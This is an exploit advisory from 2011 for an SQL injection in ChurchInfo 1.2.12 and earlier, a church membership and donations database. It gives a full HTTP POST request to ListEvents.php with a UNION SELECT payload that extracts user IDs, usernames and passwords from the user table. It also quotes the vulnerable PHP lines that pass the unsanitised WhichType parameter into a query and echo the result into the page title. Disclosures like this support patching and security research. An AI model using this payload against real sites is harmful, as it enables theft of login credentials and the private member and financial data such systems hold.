:::::::-. ... ::::::. :::.
;;, `';, ;; ;;;`;;;;, `;;;
`[[ [[[[' [[[ [[[[[. '[[
$$, $$$$ $$$ $$$ "Y$c$$
888_,o8P'88 .d888 888 Y88
MMMMP"` "YmmMMMM"" MMM YM
[ Discovered by dun \ posdub[at]gmail.com ]
[ 2011-01-01 ]
##############################################################
# [ ChurchInfo <= 1.2.12 ] SQL Injection Vulnerability #
##############################################################
#
# Script: "ChurchInfo is a free church database program to help churches track members,
# families, groups, pledges and payments..."
#
# Script site: http://www.churchdb.org/
# Download: http://sourceforge.net/projects/churchinfo/
#
# [SQL] Vuln: http://site.com/churchinfo-1.2.12/ListEvents.php
#
# POST /churchinfo-1.2.12/ListEvents.php HTTP/1.1
# Host: site.com
# User-Agent: Mozilla/5.0
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# Accept-Language: pl,en-us;q=0.7,en;q=0.3
# Accept-Encoding: gzip,deflate
# Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7
# Keep-Alive: 115
# Connection: keep-alive
# Cookie: d4dad6935f632ac35975e3001dc7bbe8=49c5739b193271a0005a59b294a05da9; PHPSESSID=8aec7c6adbe96b4079c0150b3c54452a
# Content-Type: application/x-www-form-urlencoded
# Content-Length: 150
#
# WhichType=-1/**/UNION/**/SELECT/**/1,concat_ws(char(58),usr_per_ID,usr_UserName,usr_Password),3,4,5,6,7,8/**/from/**/user_usr/**/WHERE/**/usr_per_ID=1
#
# HTTP/1.1 200 OK
# Date: Sat, 01 Jan 2011 15:39:10 GMT
# Server: Apache
# Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
# Expires: Thu, 19 Nov 1981 08:52:00 GMT
# Pragma: no-cache
# X-Powered-By: PHP/4.4.9
# Keep-Alive: timeout=2, max=200
# Connection: Keep-Alive
# Transfer-Encoding: chunked
# Content-Type: text/html
#
#
# Bug: ./churchinfo-1.2.12/ListEvents.php (lines: 29-48)
#
# ...
# require 'Include/Config.php';
# require 'Include/Functions.php'; // (0) You should be logged in as some user
# $eType="All";
# $ThisYear=date("Y");
#
# if ($_POST['WhichType']){
# $eType = $_POST['WhichType']; // (1)
# } else {
# $eType ="All";
# }
#
# if($eType!="All"){
# $sSQL = "SELECT * FROM event_types WHERE type_id=$eType"; // (2)
# $rsOpps = RunQuery($sSQL);
# $aRow = mysql_fetch_array($rsOpps, MYSQL_BOTH);
# extract($aRow);
# $sPageTitle = "Listing Events of Type = ".$type_name; // (3)
# } else {
# $sPageTitle = gettext("Listing All Church Events");
# }
# ...
#
#
# Bug: ./churchinfo-1.2.12/Include/Header-function.php (line: 37)
#
# ...
# <title>ChurchInfo: <?php echo $sPageTitle; ?></title> // (4)
# ...
#
###############################################
[ dun / 2011 ]